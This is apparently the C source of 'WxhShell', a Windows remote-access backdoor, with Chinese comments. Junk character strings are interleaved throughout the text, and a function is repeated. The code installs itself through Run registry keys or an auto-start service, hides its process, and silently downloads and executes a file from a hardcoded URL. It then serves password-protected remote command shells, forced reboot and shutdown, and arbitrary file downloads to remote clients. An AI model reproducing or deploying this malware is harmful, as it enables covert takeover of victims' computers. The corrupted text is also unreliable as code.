.;% static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; goB;EWz static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `6P?G|' J8J!#j. HANDLE hProcess; w3d34*0$ PROCESS_BASIC_INFORMATION pbi; ^eobp.U |Hfl&3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =C#*!N73 if(NULL == hInst ) return 0; G&jZ\IV a/34WFC g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r4EoJyt g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~zMDY F"& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n%*tMr9 s XwtAF3oz if (!NtQueryInformationProcess) return 0; RYH)AS4w' \ p3v#0R{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h<)yJh if(!hProcess) return 0; )&Mq,@ g#}tm< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9Yn)t#G'`F y=#j`MH{> CloseHandle(hProcess); o ~;M" @*SA$9/l hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2Q}7fht if(hProcess==NULL) return 0; JxHv<p[ TywK\hH HMODULE hMod; [T-*/}4$ char procName[255]; w]}f6VlEl unsigned long cbNeeded; ^(DL+r, J
B(<.E2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5~Q Tg 1 )'Iu`k/ CloseHandle(hProcess); [EER4@_ 7/
t:YBR if(strstr(procName,"services")) return 1; // 以服务启动 xdqK.Z% 7C?E z%a@ return 0; // 注册表启动 Tv1]v. } ;5N41_hG ^;4YZwW5w // 主模块 mVt3WZa int StartWxhshell(LPSTR lpCmdLine) ncj!KyU { #hy+ L SOCKET wsl; AC'lS
>7s BOOL val=TRUE; >P<'L4; int port=0; zC#%6@P\ struct sockaddr_in door; qEZ!2R^`G 1LX)4TCC if(wscfg.ws_autoins) Install(); R B%:h-t4 n7S;
Xve# port=atoi(lpCmdLine); djfU:$!j& >9MS"t if(port<=0) port=wscfg.ws_port; KJX>DL 9\ \f<z*!,D$ WSADATA data; &Q~)]|t if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UhdqY] :T5A84/C if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Fo(y7$33* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m
&!XA door.sin_family = AF_INET; i?x$w{co door.sin_addr.s_addr = inet_addr("127.0.0.1"); T6X}Ws " door.sin_port = htons(port); Cx,-_ <S&]$?`{Wi if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5e8xKL closesocket(wsl); ki#bPgT return 1; )'t&q/Wn } 5D
L,U(Y 8gAu7\p} if(listen(wsl,2) == INVALID_SOCKET) { {:$NfW closesocket(wsl); XfDX:b1p return 1; M9DgO4xl } ?M~
k$ Wxhshell(wsl); h;nQxmJ9 WSACleanup(); ^N{k6>; ,\x$q' return 0; tpZ->)1 q~M2:SN@X } OT@yPG _@K YF) // 以NT服务方式启动 7f*
RM VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r>O|L%xpv { \OY}GRKt DWORD status = 0; /?U!y?t&@ DWORD specificError = 0xfffffff; b` zET^F |EEi&GOR(y serviceStatus.dwServiceType = SERVICE_WIN32; QXY}STs serviceStatus.dwCurrentState = SERVICE_START_PENDING; x)5LT}p serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kV+ R5R serviceStatus.dwWin32ExitCode = 0; MyFCJJ/ serviceStatus.dwServiceSpecificExitCode = 0; _ Mn6 L= serviceStatus.dwCheckPoint = 0; }uiPvO+&p serviceStatus.dwWaitHint = 0; a
ea0+,; mrqaM2,(I hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g>T if (hServiceStatusHandle==0) return; d' OGVN USFg_sO status = GetLastError(); 87}(AO) if (status!=NO_ERROR) (l_:XG)7~b { N%u serviceStatus.dwCurrentState = SERVICE_STOPPED; rs_h}+6"s serviceStatus.dwCheckPoint = 0; Pk:zfC?4 serviceStatus.dwWaitHint = 0; ^vaL8+ serviceStatus.dwWin32ExitCode = status; 5k~\or 5_ serviceStatus.dwServiceSpecificExitCode = specificError; m9!DOL1pl SetServiceStatus(hServiceStatusHandle, &serviceStatus); A_F0\ EN* return; }*Zo6{B- } N<n8'XDdG bw5T2wYZ serviceStatus.dwCurrentState = SERVICE_RUNNING; U(Z!J6{c serviceStatus.dwCheckPoint = 0; Cm410 =b serviceStatus.dwWaitHint = 0; ,J&9kYz if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x`L+7,&n } E-F5y WUY,. 8 // 处理NT服务事件,比如:启动、停止 bl$j%gI%, VOID WINAPI NTServiceHandler(DWORD fdwControl) (Vap7.6;_ { Z'ao[CG switch(fdwControl) 7_%2xewV| { .)t(:)*b case SERVICE_CONTROL_STOP: {2EMz|&8 serviceStatus.dwWin32ExitCode = 0; o3\,gzJ serviceStatus.dwCurrentState = SERVICE_STOPPED; 9rS,? serviceStatus.dwCheckPoint = 0; z<h|#@\ serviceStatus.dwWaitHint = 0; /GN4I!LA { +ouY SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~#4~_d.=L } Gk 6fO return; Y;g% e3nu case SERVICE_CONTROL_PAUSE: v#F-<?Vv serviceStatus.dwCurrentState = SERVICE_PAUSED; 3a^)u-9,x break; mw"}8y case SERVICE_CONTROL_CONTINUE: +4HlRGH serviceStatus.dwCurrentState = SERVICE_RUNNING; 5us^B8Q break; Kr]W
o8dWy case SERVICE_CONTROL_INTERROGATE: O{u[+g break; !t%Q{`p }; qK,V$l(4# SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1!1DuQ } wHWma)}-z ,2_w=<hq // 标准应用程序主函数 F9O`HFVK int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4|=vxJ { ;AJ<
LC `@MPkCy1 // 获取操作系统版本 T5q-"W6\ OsIsNt=GetOsVer(); r,"7%1I GetModuleFileName(NULL,ExeFile,MAX_PATH);
:$2Yg[Zc3 #h{Nz/h+ // 从命令行安装 r@Nl2 if(strpbrk(lpCmdLine,"iI")) Install(); bs P6\'\4 ZMJ3NN]F // 下载执行文件 l1DI*0@ if(wscfg.ws_downexe) { J?,?fqb if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2+Zti8 WinExec(wscfg.ws_filenam,SW_HIDE); UO1$UF!
QC } k% NrL@z L20rv:W$h if(!OsIsNt) { -$9~xX // 如果时win9x,隐藏进程并且设置为注册表启动 yfC2^#9 Zu HideProc(); *F|+2?a:$ StartWxhshell(lpCmdLine); RAwk7F3qn } nzWQQra|? else NnP.k7m) if(StartFromService()) \imp7}N // 以服务方式启动 phmVkV2a;# StartServiceCtrlDispatcher(DispatchTable); P#v^"}.Wd else "f<#.}8 // 普通方式启动 =1IEpxh% StartWxhshell(lpCmdLine); ?yf_Dt B>@D,)/bT5 return 0; 9?(x>P } T\fudmj& Az9J\V~" 8F)=n \ NA\ x< =========================================== +[_gyLN<5b ?uig04@3 yi|:}K$ #<UuI9 j3LNnZY u]0!|Jd0 " zu<>"5}] :v#8O~ #include <stdio.h> ey*,StT5a #include <string.h> 77tZp @>hn #include <windows.h> ;M-,HK4= #include <winsock2.h> j
C9<hLt #include <winsvc.h> %]!?{U\*k #include <urlmon.h> ExQ--!AC= w~]}acP #pragma comment (lib, "Ws2_32.lib") aoK4Du{ #pragma comment (lib, "urlmon.lib") Txu>/1N, `BpCRKTG #define MAX_USER 100 // 最大客户端连接数 RW)k_#%= #define BUF_SOCK 200 // sock buffer &*jixqzvn #define KEY_BUFF 255 // 输入 buffer FbuKZp+ c[Yq5Bu{y #define REBOOT 0 // 重启 ]a=l^Pc(xN #define SHUTDOWN 1 // 关机 PB@-U.Z $6Z[|9W^A #define DEF_PORT 5000 // 监听端口 ah>Dqb* 9T/<x-FD #define REG_LEN 16 // 注册表键长度 sI$:V7/! #define SVC_LEN 80 // NT服务名长度 il7!} %![4d;Z%x // 从dll定义API \wTW?>oZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0$!.c~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sv@}x[L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [|jIC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .N&QW
` /%;/pi // wxhshell配置信息 ]Px:d+wX: struct WSCFG { XGL"gD
int ws_port; // 监听端口 aK-N}T char ws_passstr[REG_LEN]; // 口令 eZ[#+0J int ws_autoins; // 安装标记, 1=yes 0=no iKY-;YK char ws_regname[REG_LEN]; // 注册表键名 jD<9=B(g char ws_svcname[REG_LEN]; // 服务名 Of!|,2`( char ws_svcdisp[SVC_LEN]; // 服务显示名 7;~2e char ws_svcdesc[SVC_LEN]; // 服务描述信息 oUCVd}wH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :%pw`b, =V int ws_downexe; // 下载执行标记, 1=yes 0=no [&fWF~D-p< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =g1 D; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1/!nV Qve`k<Cj" }; K:C+/O b\H/-7< // default Wxhshell configuration /oB K&r[( struct WSCFG wscfg={DEF_PORT, H_v/}DEG "xuhuanlingzhe", 2 e) 1, gZ=)qT]Pj "Wxhshell", ;wfH^2HxE) "Wxhshell", :LG}yq^ "WxhShell Service", YK7gd|LR] "Wrsky Windows CmdShell Service", Ed4_<: "Please Input Your Password: ", 5QNBB|X@ 1, /\Jc:v#Q "http://www.wrsky.com/wxhshell.exe", ?NQD# "Wxhshell.exe" {3jm%ex }; @
$9m>6V *'s&/vEy // 消息定义模块 +W!'B
r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Id; mn}+~ char *msg_ws_prompt="\n\r? for help\n\r#>"; RiwEuY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [Q7`RB char *msg_ws_ext="\n\rExit."; ;9 lqSv/6 char *msg_ws_end="\n\rQuit."; &0?DL char *msg_ws_boot="\n\rReboot..."; H;4oZ[g char *msg_ws_poff="\n\rShutdown..."; uV/)Gb*j char *msg_ws_down="\n\rSave to "; }6F_2S3c NWaI[P char *msg_ws_err="\n\rErr!"; }kpfJLjY char *msg_ws_ok="\n\rOK!"; %9fa98> !x+MVJ] char ExeFile[MAX_PATH]; `W6:=H int nUser = 0; Be'?#Qe HANDLE handles[MAX_USER]; ,!xz*o+#@ int OsIsNt; d91I Sz^TGF SERVICE_STATUS serviceStatus; &:IfhS SERVICE_STATUS_HANDLE hServiceStatusHandle; jqV)V> M. aU,0gvI(} // 函数声明 zS#f%{ int Install(void); Tq_1wX'\ int Uninstall(void); H!Fr("6} int DownloadFile(char *sURL, SOCKET wsh); u66TrYS tG int Boot(int flag); 3^uL`ETm@ void HideProc(void); ;2+FgOj int GetOsVer(void); 9CgXc5 int Wxhshell(SOCKET wsl); r! cNc void TalkWithClient(void *cs); vy>];!Cu int CmdShell(SOCKET sock); +ytT)S int StartFromService(void); o;Hd W int StartWxhshell(LPSTR lpCmdLine); h'z+8X_t OLhWkN,qA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T<w*dX7F0K VOID WINAPI NTServiceHandler( DWORD fdwControl ); cN0~;!{i XY&]T'A // 数据结构和表定义 g^Ugl=f, SERVICE_TABLE_ENTRY DispatchTable[] = ^^20vwq { n#/U@qVgc {wscfg.ws_svcname, NTServiceMain}, v]UU&Jq8U {NULL, NULL} lyMJW}T+> }; 3 LZL!^ 5N [M,27 // 自我安装 )eIz{Mdp= int Install(void) eWqVh[ { BVwRPt char svExeFile[MAX_PATH]; RBMMXJj HKEY key; A,-[/Z K/ strcpy(svExeFile,ExeFile); %FXI lH5 2`q^Q // 如果是win9x系统,修改注册表设为自启动 4okHAv8; if(!OsIsNt) { LrmtPnL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fS8XuT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HZ[68T[8b RegCloseKey(key); ePIly)=X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cv?<}q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +qu@dU0\`| RegCloseKey(key); x _YV{ return 0; O4'kS
@ } ?[*@T2Ck } m,kvEQ3 } 8xeun~e"vS else { *R9mgv[ oK(W)[u // 如果是NT以上系统,安装为系统服务 N'Z_6A*- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4`EvEv$i if (schSCManager!=0) iPtm@f,bI { CU7iva SC_HANDLE schService = CreateService PEwW*4Xo ( }(vOaD|k= schSCManager, ^|a&%wxA wscfg.ws_svcname, _z_3%N
wscfg.ws_svcdisp, s`$_ SERVICE_ALL_ACCESS, R+@sHsZ@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qU
/Wg SERVICE_AUTO_START, O
#p)~V8~ SERVICE_ERROR_NORMAL, %yS`C"ZQ) svExeFile, [h2p8i'o NULL, 2=Vkjh- NULL, uV*f[l NULL, 8m13M5r NULL, l yLK$B?/ NULL )=SYJ-ta< ); }X W#?l if (schService!=0) JVIcNK) { "8C(_z+]K` CloseServiceHandle(schService); k*UR#z(I CloseServiceHandle(schSCManager); F~uA-g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %l]rQjV- strcat(svExeFile,wscfg.ws_svcname); `)gkkZ$)j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!]jNVg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); * zJiii RegCloseKey(key); 3<1HqU return 0; R;Ix<y{U } Hhce:E@K } C>(M+qXL+ CloseServiceHandle(schSCManager); )MX1776kU } ?-6x]l=] } O}\"$n> jW+VUF-t return 1; }1^tK(Am } aGzdur VHXR)} // 自我卸载 $4ZDT]n int Uninstall(void) #\!hBL
@b { "l2N_xX; HKEY key; [7Kj$PB3 ,a?\i
JNb if(!OsIsNt) { q_m#BE;t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WTy8 N RegDeleteValue(key,wscfg.ws_regname); e[VJ0 A= RegCloseKey(key); nH3b<k;S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 S`b;f RegDeleteValue(key,wscfg.ws_regname); oT5rX
,8 RegCloseKey(key); JXa%TpI:
E return 0; N6 }i>";_; } h}VYA\+<B } jJ{
w -$ } iTBhLg, else { ^Ihdq89 t JcALFKLB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); URzE+8m^ if (schSCManager!=0) fN? Lz%z3 { v.8S
V] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .qU%SmQ^ if (schService!=0) Pt)}HF|u { kHIQ/\3?Q if(DeleteService(schService)!=0) { [ QL<&:s& CloseServiceHandle(schService); cE8 _keR~ CloseServiceHandle(schSCManager); %?{2uMfq-f return 0; 2*",{m } h/y} CloseServiceHandle(schService); -r2qIt } BKlc{= CloseServiceHandle(schSCManager); :@4>}k* } 2W-NCE%K)T } y7L4jO9h >A@D;vx return 1; >~bj7M6t } gZ%O<XO z(#hL-{c // 从指定url下载文件 9,a,A6xry int DownloadFile(char *sURL, SOCKET wsh) 3b/vyZF { ;cHI3V HRESULT hr; y.]]V"'2 char seps[]= "/"; ((IBaEq char *token; !iz vY char *file; ^Th"`Av5 char myURL[MAX_PATH]; Bc@r*zb char myFILE[MAX_PATH]; YV!V9 oX]1>#5UMg strcpy(myURL,sURL); 25@j2K ( token=strtok(myURL,seps); L}S4Zz18 while(token!=NULL) ?kxWj(D { 2B?i2[a, file=token; 50hh0!1 token=strtok(NULL,seps); EF^=3 } pxnUe1= 7;-i_&vws GetCurrentDirectory(MAX_PATH,myFILE); qN,FX#DP strcat(myFILE, "\\"); vgp%;-p( strcat(myFILE, file); CH+& send(wsh,myFILE,strlen(myFILE),0); "9T`3cM0 send(wsh,"...",3,0); jHw2Q8s|R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A-`J!xj#/ if(hr==S_OK) =Bqa<Js return 0; ~acK$.# else B91PlM. return 1; G+^$JN= |Ie`L(" } eu|q
{p e;u8G/ // 系统电源模块 4W-+k int Boot(int flag) 1E_Ui1 [ { g~D6.OZU HANDLE hToken; Gv3Fg[MA@c TOKEN_PRIVILEGES tkp; /g7?,/vnZ 6zZR:ej if(OsIsNt) { (eE}W~Z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '
1]bjW*! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l%5%oN`4 tkp.PrivilegeCount = 1; [MP:Eeg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1e| M6* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g*imswj7 if(flag==REBOOT) { R2ZQBwB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x#VUEu]8 return 0; :%oj'm44! } VIdoT2 else { &bgi0)> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'n#S6.Y: return 0; 5VoiDM=\c } % x;!s=U } G")EE#W$} else { y%l#lz=6 if(flag==REBOOT) { ho$%7mc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GQBN-Qv return 0; jz:c)C&/ } ,T[
+omo else { 8J U~Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?t P/VL return 0; ''07Km@x } ]7
mSM } ~,-O ^#nWgo7{7 return 1; )#Bfd(F } }@6
%yR ,w>?N\w!} // win9x进程隐藏模块 JLn<,Gn)<\ void HideProc(void) %"fKZ { *9wHH-# U {!{5l: HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [&s:x, if ( hKernel != NULL ) ; O0rt1 { -RDs{c`y%N pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @&yj7-] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ebK
wCZwK* FreeLibrary(hKernel); agD.J)v\ } MCG~{#` Q
kpmPQK return; =)5a=^
6 } >iJuR.:OO i_ T dI // 获取操作系统版本 [ i#Gqx>'w int GetOsVer(void) }"k(kH { HNT8~s.2 OSVERSIONINFO winfo; e/\_F+jyc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RyD$4jk+T" GetVersionEx(&winfo); T
bWZw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Isb^~c_P return 1; 2MeavTr else gOAluP return 0; =(\!,S' } 4=:eGlU93U :!hH`l}p // 客户端句柄模块 p ivS8C int Wxhshell(SOCKET wsl) 2oASz| { @'4D9A SOCKET wsh; r!iuwE@ struct sockaddr_in client; h!GixN? DWORD myID; ~C
x2Q4E Jj:4@p: while(nUser<MAX_USER) +,>bpp1 { D<6kAGE int nSize=sizeof(client); #::vMnT wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hZJqo + s if(wsh==INVALID_SOCKET) return 1; "r+<=JU>OV 1X.1t^HH: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J)NpG9iN if(handles[nUser]==0) HArYL}l closesocket(wsh); o-=lH tR else )>p6h]]a nUser++; >FNt*tX<0 } }iAi`_\0; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~T9[\nU\ itvdzPO return 0; a| cD{d } rd{(E .#|pje^ // 关闭 socket wv-8\)oA
void CloseIt(SOCKET wsh) DBDfBb { jp`N%O]6 closesocket(wsh); `_)dEu nUser--; ;0gpS y$# ExitThread(0); mo$*KNW%\ } k>`X!
" &pz8vWCk // 客户端请求句柄 yqwr0yDAl void TalkWithClient(void *cs) v g]&T { p6)UR~9Rs p<e~x/@m* SOCKET wsh=(SOCKET)cs; A[bxxQSP\H char pwd[SVC_LEN]; A?zW!' char cmd[KEY_BUFF]; CG;D (AWR; char chr[1]; A>puk2 s int i,j; ,V?,I9qf jU$PO\UTk while (nUser < MAX_USER) { a=dN.OB}F7 wBET.l'd if(wscfg.ws_passstr) { i|mA/
e3b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nj$K4_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d]]qy //ZeroMemory(pwd,KEY_BUFF); OLwxGRYX i=0; %54![-@ while(i<SVC_LEN) { ~T~v*'_h 4{KsCd) // 设置超时 p%-9T>og fd_set FdRead; ?da 3Azp struct timeval TimeOut; IpxjP\ FD_ZERO(&FdRead); kZNZ?A<D FD_SET(wsh,&FdRead); b&1@rE- TimeOut.tv_sec=8; r "R\ TimeOut.tv_usec=0; D~:fn|/Brp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s-B\8&^C if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X'm2uOEj x?IT#ty if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *&D=]fG pwd=chr[0]; -E7\.K3 if(chr[0]==0xd || chr[0]==0xa) { 25L{bcng pwd=0; lLhCk>a break; e
j9G[ } |.A>0-']M i++; ?H&p zY~H } `O/)q^m1L L/I-(08!Y: // 如果是非法用户,关闭 socket O}Jb,?p if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &bRH(yF } KJiwM(o YaU A}0cW send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6_Kz}PQ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q}jf&xUWzH $((<le5-) while(1) { ZE^de(Fm p98lu'?@ ZeroMemory(cmd,KEY_BUFF); & \m\QI UL/>t}AG // 自动支持客户端 telnet标准 P7b2I=t j=0; QVpZA, while(j<KEY_BUFF) { ]Gr'Bt / if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _$0Ix6y, cmd[j]=chr[0]; t>xV]W< if(chr[0]==0xa || chr[0]==0xd) { iYf4 /1IG, cmd[j]=0; FyEl@ }W break; C6n4OU } SxDE3A-: j++; ;Yj}9[p;T } TI332,eL Ogb_WO;) // 下载文件 9O"?T7i"# if(strstr(cmd,"http://")) { J{y@ O send(wsh,msg_ws_down,strlen(msg_ws_down),0); T*IudxW if(DownloadFile(cmd,wsh)) i,'~Ds send(wsh,msg_ws_err,strlen(msg_ws_err),0); yrjm0BM# else ;%1^k/b6t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7XNfH@ } fHigLL0B else { \&H%k RA6D dqT~ switch(cmd[0]) { C\{4<:<_& !cZsIcIe // 帮助 xn"g_2Hi case '?': { ^tv*I~>J! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {x8`gP\H break; XP7A.I#q0 } 2B4c:jJ // 安装 &eg,*K} ' case 'i': { z+b~#f3 if(Install()) 181P;R=}< send(wsh,msg_ws_err,strlen(msg_ws_err),0); t`AD9
H"\! else N ]duv~JS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1jL?z6S break; 1pV"<,t } R/#*~tPi8 // 卸载 f_7p.H6\ case 'r': { `&_qK~&/X if(Uninstall()) 073(xAkL{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); x\jHk}Buj else [V2l&ZUni send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H)S3/%.| break; Lg^m?~{ } (/Ubw4unI // 显示 wxhshell 所在路径 c:0$
Mw= case 'p': { MiC&av char svExeFile[MAX_PATH]; z'fS%uI strcpy(svExeFile,"\n\r"); g5E]o) strcat(svExeFile,ExeFile); 8X%;29tow send(wsh,svExeFile,strlen(svExeFile),0); +,MzD'(D break; nXN0~,+ } |0&S>%= // 重启 >eC^]#c case 'b': { #_E8>;)k send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C.@zVt if(Boot(REBOOT)) ,Xn%-OT send(wsh,msg_ws_err,strlen(msg_ws_err),0); WFkXz*7B else { _ehU:3L`s closesocket(wsh); p;@PfhEz) ExitThread(0); NlKnMgt~ } 0`x<sjG\q break; /'I/sWEV } 3] !(^N>V // 关机 \z_@.Jw{ case 'd': { ?*T`a oB send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E`i;9e'S if(Boot(SHUTDOWN)) -B_dE-l, send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]8mBFr5E9 else { /`1zkBj<& closesocket(wsh); y|@^0]}%< ExitThread(0); Ki' EO$ } 0trFLX break; ';1
c } nyIb8=f // 获取shell n\ IVpgP case 's': { T1x$v,)8x CmdShell(wsh); ht1
jrCe closesocket(wsh); U'\\(m| ExitThread(0); qYpHH!!C= break; !PO(Bfd } aqMZ%~7 // 退出 `Q{kiy case 'x': { J|ILG send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DF|qNX CloseIt(wsh); )ow 3Bl8w break; [X-Q{c4 } ]Rw,5\0 // 离开 vj#gY2qZ case 'q': { A1:Fe9q send(wsh,msg_ws_end,strlen(msg_ws_end),0); o]]Q7S= closesocket(wsh); t >8t|t+ WSACleanup(); ak NJL\b exit(1); Jus)cO#I break; ]AN)M> } :!3P4?a } L\b$1U!i } UP,(zKTA '8}\! i& // 提示信息 cd:O@)i if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MHgS5b2 } >`6^1j(3 } g'mkhF( lRO4-
y return; YKk%lZ.8 } js>6Du d 5Il0sG // shell模块句柄 ?"L>jr( int CmdShell(SOCKET sock) 9 /9,[ A { Tp9LBF STARTUPINFO si; x[)S3UJ ZeroMemory(&si,sizeof(si)); =P5SFMPN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z\;kjI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (V
|P6C PROCESS_INFORMATION ProcessInfo; /]YK:7*98 char cmdline[]="cmd"; p,xM7V"O) CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jSddjs return 0; o XGf#>keg } p*>[6{$3)O YGxdYwBwf // 自身启动模式 D]4?UL int StartFromService(void) #M_QSD}& { <,LeFy\zW typedef struct 4=1lyw { Vv zd>yII DWORD ExitStatus; 6H3_qx DWORD PebBaseAddress; z9VQsC'K DWORD AffinityMask; @m(\f DWORD BasePriority; Ron^PvvY& ULONG UniqueProcessId; Uz1u6BF ULONG InheritedFromUniqueProcessId; 1Ce:<.99B } PROCESS_BASIC_INFORMATION; F`Pu$>8C S46[2-v1 PROCNTQSIP NtQueryInformationProcess; @w2}WX> U;;Har static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qi[T!1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .%*.nq C@KYg/nYw HANDLE hProcess; 4E"qpy \( PROCESS_BASIC_INFORMATION pbi; t);5Cw_ Cu!4ha.e` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~L?p/3m if(NULL == hInst ) return 0; #?aR,@n $-o 39A# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8l?]UFM>C g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2Y$==j NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /AWHG._ 1-q\C<Q) if (!NtQueryInformationProcess) return 0; Q9rE_}Z U~7.aZHPx3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !N!M
NsyDz if(!hProcess) return 0; mV^dIm B:9Z;g@& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &npf
